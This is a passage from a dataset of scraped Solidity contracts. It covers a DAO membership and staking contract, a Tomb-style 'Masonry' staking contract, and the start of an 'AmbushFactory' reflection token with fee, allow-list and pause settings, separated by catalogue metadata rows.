require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/access/Roles.sol
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
// File: contracts/access/roles/DAORoles.sol
contract DAORoles is Ownable {
using Roles for Roles.Role;
event OperatorAdded(address indexed account);
event OperatorRemoved(address indexed account);
event DappAdded(address indexed account);
event DappRemoved(address indexed account);
Roles.Role private _operators;
Roles.Role private _dapps;
constructor () internal {} // solhint-disable-line no-empty-blocks
modifier onlyOperator() {
require(isOperator(msg.sender));
_;
}
modifier onlyDapp() {
require(isDapp(msg.sender));
_;
}
function isOperator(address account) public view returns (bool) {
return _operators.has(account);
}
function isDapp(address account) public view returns (bool) {
return _dapps.has(account);
}
function addOperator(address account) public onlyOwner {
_addOperator(account);
}
function addDapp(address account) public onlyOperator {
_addDapp(account);
}
function removeOperator(address account) public onlyOwner {
_removeOperator(account);
}
function removeDapp(address account) public onlyOperator {
_removeDapp(account);
}
function _addOperator(address account) internal {
_operators.add(account);
emit OperatorAdded(account);
}
function _addDapp(address account) internal {
_dapps.add(account);
emit DappAdded(account);
}
function _removeOperator(address account) internal {
_operators.remove(account);
emit OperatorRemoved(account);
}
function _removeDapp(address account) internal {
_dapps.remove(account);
emit DappRemoved(account);
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// File: contracts/dao/Organization.sol
library Organization {
using SafeMath for uint256;
// structure defining a member
struct Member {
uint256 id;
address account;
bytes9 fingerprint;
uint256 creationDate;
uint256 stakedTokens;
uint256 usedTokens;
bytes32 data;
bool approved;
}
// structure defining members status
struct Members {
uint256 count;
uint256 totalStakedTokens;
uint256 totalUsedTokens;
mapping(address => uint256) addressMap;
mapping(uint256 => Member) list;
}
function isMember(Members storage members, address account) internal view returns (bool) {
return members.addressMap[account] != 0;
}
function creationDateOf(Members storage members, address account) internal view returns (uint256) {
Member storage member = members.list[members.addressMap[account]];
return member.creationDate;
}
function stakedTokensOf(Members storage members, address account) internal view returns (uint256) {
Member storage member = members.list[members.addressMap[account]];
return member.stakedTokens;
}
function usedTokensOf(Members storage members, address account) internal view returns (uint256) {
Member storage member = members.list[members.addressMap[account]];
return member.usedTokens;
}
function isApproved(Members storage members, address account) internal view returns (bool) {
Member storage member = members.list[members.addressMap[account]];
return member.approved;
}
function getMember(Members storage members, uint256 memberId) internal view returns (Member storage) {
Member storage structure = members.list[memberId];
require(structure.account != address(0));
return structure;
}
function addMember(Members storage members, address account) internal returns (uint256) {
require(account != address(0));
require(!isMember(members, account));
uint256 memberId = members.count.add(1);
bytes9 fingerprint = getFingerprint(account, memberId);
members.addressMap[account] = memberId;
members.list[memberId] = Member(memberId,
account,
fingerprint,
block.timestamp, // solhint-disable-line not-rely-on-time
0,
0,
"",
false);
members.count = memberId;
return memberId;
}
function stake(Members storage members, address account, uint256 amount) internal {
require(isMember(members, account));
Member storage member = members.list[members.addressMap[account]];
member.stakedTokens = member.stakedTokens.add(amount);
members.totalStakedTokens = members.totalStakedTokens.add(amount);
}
function unstake(Members storage members, address account, uint256 amount) internal {
require(isMember(members, account));
Member storage member = members.list[members.addressMap[account]];
require(member.stakedTokens >= amount);
member.stakedTokens = member.stakedTokens.sub(amount);
members.totalStakedTokens = members.totalStakedTokens.sub(amount);
}
function use(Members storage members, address account, uint256 amount) internal {
require(isMember(members, account));
Member storage member = members.list[members.addressMap[account]];
require(member.stakedTokens >= amount);
member.stakedTokens = member.stakedTokens.sub(amount);
members.totalStakedTokens = members.totalStakedTokens.sub(amount);
member.usedTokens = member.usedTokens.add(amount);
members.totalUsedTokens = members.totalUsedTokens.add(amount);
}
function setApproved(Members storage members, address account, bool status) internal {
require(isMember(members, account));
Member storage member = members.list[members.addressMap[account]];
member.approved = status;
}
function setData(Members storage members, address account, bytes32 data) internal {
require(isMember(members, account));
Member storage member = members.list[members.addressMap[account]];
member.data = data;
}
function getFingerprint(address account, uint256 memberId) private pure returns (bytes9) {
return bytes9(keccak256(abi.encodePacked(account, memberId)));
}
}
// File: contracts/dao/DAO.sol
contract DAO is ERC1363Payable, DAORoles {
using SafeMath for uint256;
using Organization for Organization.Members;
using Organization for Organization.Member;
event MemberAdded(address indexed account,
uint256 id);
event MemberStatusChanged(address indexed account,
bool approved);
event TokensStaked(address indexed account,
uint256 value);
event TokensUnstaked(address indexed account,
uint256 value);
event TokensUsed(address indexed account,
address indexed dapp,
uint256 value);
Organization.Members private _members;
constructor (IERC1363 acceptedToken) public ERC1363Payable(acceptedToken) {} // solhint-disable-line no-empty-blocks
function () external payable { // solhint-disable-line no-complex-fallback
require(msg.value == 0);
_newMember(msg.sender);
}
function join() external {
_newMember(msg.sender);
}
function newMember(address account) external onlyOperator {
_newMember(account);
}
function setApproved(address account, bool status) external onlyOperator {
_members.setApproved(account, status);
emit MemberStatusChanged(account, status);
}
function setData(address account, bytes32 data) external onlyOperator {
_members.setData(account, data);
}
function use(address account, uint256 amount) external onlyDapp {
_members.use(account, amount);
IERC20(acceptedToken()).transfer(msg.sender, amount);
emit TokensUsed(account, msg.sender, amount);
}
function unstake(uint256 amount) public {
_members.unstake(msg.sender, amount);
IERC20(acceptedToken()).transfer(msg.sender, amount);
emit TokensUnstaked(msg.sender, amount);
}
function membersNumber() public view returns (uint256) {
return _members.count;
}
function totalStakedTokens() public view returns (uint256) {
return _members.totalStakedTokens;
}
function totalUsedTokens() public view returns (uint256) {
return _members.totalUsedTokens;
}
function isMember(address account) public view returns (bool) {
return _members.isMember(account);
}
function creationDateOf(address account) public view returns (uint256) {
return _members.creationDateOf(account);
}
function stakedTokensOf(address account) public view returns (uint256) {
return _members.stakedTokensOf(account);
}
function usedTokensOf(address account) public view returns (uint256) {
return _members.usedTokensOf(account);
}
function isApproved(address account) public view returns (bool) {
return _members.isApproved(account);
}
function getMemberByAddress(address memberAddress)
public
view
returns (uint256 id,
address account,
bytes9 fingerprint,
uint256 creationDate,
uint256 stakedTokens,
uint256 usedTokens,
bytes32 data,
bool approved)
{
return getMemberById(_members.addressMap[memberAddress]);
}
function getMemberById(uint256 memberId)
public
view
returns (uint256 id,
address account,
bytes9 fingerprint,
uint256 creationDate,
uint256 stakedTokens,
uint256 usedTokens,
bytes32 data,
bool approved)
{
Organization.Member storage structure = _members.getMember(memberId);
id = structure.id;
account = structure.account;
fingerprint = structure.fingerprint;
creationDate = structure.creationDate;
stakedTokens = structure.stakedTokens;
usedTokens = structure.usedTokens;
data = structure.data;
approved = structure.approved;
}
function recoverERC20(address tokenAddress, uint256 tokenAmount) public onlyOwner {
if (tokenAddress == address(acceptedToken())) {
uint256 currentBalance = IERC20(acceptedToken()).balanceOf(address(this));
require(currentBalance.sub(_members.totalStakedTokens) >= tokenAmount);
}
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
function _transferReceived(address operator, // solhint-disable-line no-unused-vars
address from,
uint256 value,
bytes memory data // solhint-disable-line no-unused-vars)
internal
{
_stake(from, value);
}
function _approvalReceived(address owner,
uint256 value,
bytes memory data // solhint-disable-line no-unused-vars)
internal
{
IERC20(acceptedToken()).transferFrom(owner, address(this), value);
_stake(owner, value);
}
function _newMember(address account) internal {
uint256 memberId = _members.addMember(account);
emit MemberAdded(account, memberId);
}
function _stake(address account, uint256 amount) internal {
if (!isMember(account)) {
_newMember(account);
}
_members.stake(account, amount);
emit TokensStaked(account, amount);
}
}
| 217,367 | 10,960 |
38237fa76dce50a3bc58def373c9ed488a10835e6199d75c515d823efa208960
| 31,809 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/0d/0d716fad1f811672bd8d3acefe638910ad6453b3_Masonry.sol
| 4,869 | 18,661 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ContractGuard {
mapping(uint256 => mapping(address => bool)) private _status;
function checkSameOriginReentranted() internal view returns (bool) {
return _status[block.number][tx.origin];
}
function checkSameSenderReentranted() internal view returns (bool) {
return _status[block.number][msg.sender];
}
modifier onlyOneBlock() {
require(!checkSameOriginReentranted(), "ContractGuard: one block, one function");
require(!checkSameSenderReentranted(), "ContractGuard: one block, one function");
_;
_status[block.number][tx.origin] = true;
_status[block.number][msg.sender] = true;
}
}
interface IBasisAsset {
function mint(address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external;
function burnFrom(address from, uint256 amount) external;
function isOperator() external returns (bool);
function operator() external view returns (address);
function transferOperator(address newOperator_) external;
}
interface ITreasury {
function epoch() external view returns (uint256);
function nextEpochPoint() external view returns (uint256);
function getTombPrice() external view returns (uint256);
function buyBonds(uint256 amount, uint256 targetPrice) external;
function redeemBonds(uint256 amount, uint256 targetPrice) external;
}
contract ShareWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public share;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public virtual {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
share.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public virtual {
uint256 masonShare = _balances[msg.sender];
require(masonShare >= amount, "Masonry: withdraw request greater than staked amount");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = masonShare.sub(amount);
share.safeTransfer(msg.sender, amount);
}
}
contract Masonry is ShareWrapper, ContractGuard {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct Masonseat {
uint256 lastSnapshotIndex;
uint256 rewardEarned;
uint256 epochTimerStart;
}
struct MasonrySnapshot {
uint256 time;
uint256 rewardReceived;
uint256 rewardPerShare;
}
// governance
address public operator;
// flags
bool public initialized = false;
IERC20 public tomb;
ITreasury public treasury;
mapping(address => Masonseat) public masons;
MasonrySnapshot[] public masonryHistory;
uint256 public withdrawLockupEpochs;
uint256 public rewardLockupEpochs;
event Initialized(address indexed executor, uint256 at);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardAdded(address indexed user, uint256 reward);
modifier onlyOperator() {
require(operator == msg.sender, "Masonry: caller is not the operator");
_;
}
modifier masonExists {
require(balanceOf(msg.sender) > 0, "Masonry: The mason does not exist");
_;
}
modifier updateReward(address mason) {
if (mason != address(0)) {
Masonseat memory seat = masons[mason];
seat.rewardEarned = earned(mason);
seat.lastSnapshotIndex = latestSnapshotIndex();
masons[mason] = seat;
}
_;
}
modifier notInitialized {
require(!initialized, "Masonry: already initialized");
_;
}
function initialize(IERC20 _tomb,
IERC20 _share,
ITreasury _treasury) public notInitialized {
tomb = _tomb;
share = _share;
treasury = _treasury;
MasonrySnapshot memory genesisSnapshot = MasonrySnapshot({time : block.number, rewardReceived : 0, rewardPerShare : 0});
masonryHistory.push(genesisSnapshot);
withdrawLockupEpochs = 3; // Lock for 6 epochs (36h) before release withdraw
rewardLockupEpochs = 1; // Lock for 3 epochs (18h) before release claimReward
initialized = true;
operator = msg.sender;
emit Initialized(msg.sender, block.number);
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function setLockUp(uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs) external onlyOperator {
require(_withdrawLockupEpochs >= _rewardLockupEpochs && _withdrawLockupEpochs <= 56, "_withdrawLockupEpochs: out of range"); // <= 2 week
withdrawLockupEpochs = _withdrawLockupEpochs;
rewardLockupEpochs = _rewardLockupEpochs;
}
// =========== Snapshot getters
function latestSnapshotIndex() public view returns (uint256) {
return masonryHistory.length.sub(1);
}
function getLatestSnapshot() internal view returns (MasonrySnapshot memory) {
return masonryHistory[latestSnapshotIndex()];
}
function getLastSnapshotIndexOf(address mason) public view returns (uint256) {
return masons[mason].lastSnapshotIndex;
}
function getLastSnapshotOf(address mason) internal view returns (MasonrySnapshot memory) {
return masonryHistory[getLastSnapshotIndexOf(mason)];
}
function canWithdraw(address mason) external view returns (bool) {
return masons[mason].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch();
}
function canClaimReward(address mason) external view returns (bool) {
return masons[mason].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch();
}
function epoch() external view returns (uint256) {
return treasury.epoch();
}
function nextEpochPoint() external view returns (uint256) {
return treasury.nextEpochPoint();
}
function getTombPrice() external view returns (uint256) {
return treasury.getTombPrice();
}
// =========== Mason getters
function rewardPerShare() public view returns (uint256) {
return getLatestSnapshot().rewardPerShare;
}
function earned(address mason) public view returns (uint256) {
uint256 latestRPS = getLatestSnapshot().rewardPerShare;
uint256 storedRPS = getLastSnapshotOf(mason).rewardPerShare;
return balanceOf(mason).mul(latestRPS.sub(storedRPS)).div(1e18).add(masons[mason].rewardEarned);
}
function stake(uint256 amount) public override onlyOneBlock updateReward(msg.sender) {
require(amount > 0, "Masonry: Cannot stake 0");
super.stake(amount);
masons[msg.sender].epochTimerStart = treasury.epoch(); // reset timer
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public override onlyOneBlock masonExists updateReward(msg.sender) {
require(amount > 0, "Masonry: Cannot withdraw 0");
require(masons[msg.sender].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch(), "Masonry: still in withdraw lockup");
claimReward();
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
}
function claimReward() public updateReward(msg.sender) {
uint256 reward = masons[msg.sender].rewardEarned;
if (reward > 0) {
require(masons[msg.sender].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch(), "Masonry: still in reward lockup");
masons[msg.sender].epochTimerStart = treasury.epoch(); // reset timer
masons[msg.sender].rewardEarned = 0;
tomb.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function allocateSeigniorage(uint256 amount) external onlyOneBlock onlyOperator {
require(amount > 0, "Masonry: Cannot allocate 0");
require(totalSupply() > 0, "Masonry: Cannot allocate when totalSupply is 0");
// Create & add new snapshot
uint256 prevRPS = getLatestSnapshot().rewardPerShare;
uint256 nextRPS = prevRPS.add(amount.mul(1e18).div(totalSupply()));
MasonrySnapshot memory newSnapshot = MasonrySnapshot({
time: block.number,
rewardReceived: amount,
rewardPerShare: nextRPS
});
masonryHistory.push(newSnapshot);
tomb.safeTransferFrom(msg.sender, address(this), amount);
emit RewardAdded(msg.sender, amount);
}
function governanceRecoverUnsupported(IERC20 _token, uint256 _amount, address _to) external onlyOperator {
// do not allow to drain core tokens
require(address(_token) != address(tomb), "tomb");
require(address(_token) != address(share), "share");
_token.safeTransfer(_to, _amount);
}
}
| 332,805 | 10,961 |
fd0a42821434a5083606eae24fe936ff6ac5b318d865b36b780d9b192ebff7a6
| 29,671 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/9f/9f5e438f044aa372e2105b6b1e048320c90c72bd_AmbushFactory.sol
| 5,206 | 18,752 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AmbushFactory is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Ambush Factory';
string private constant _symbol = 'AMBUSH';
uint256 private _taxFee = 250;
uint256 private _burnFee = 250;
uint public max_tx_size = 10000000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
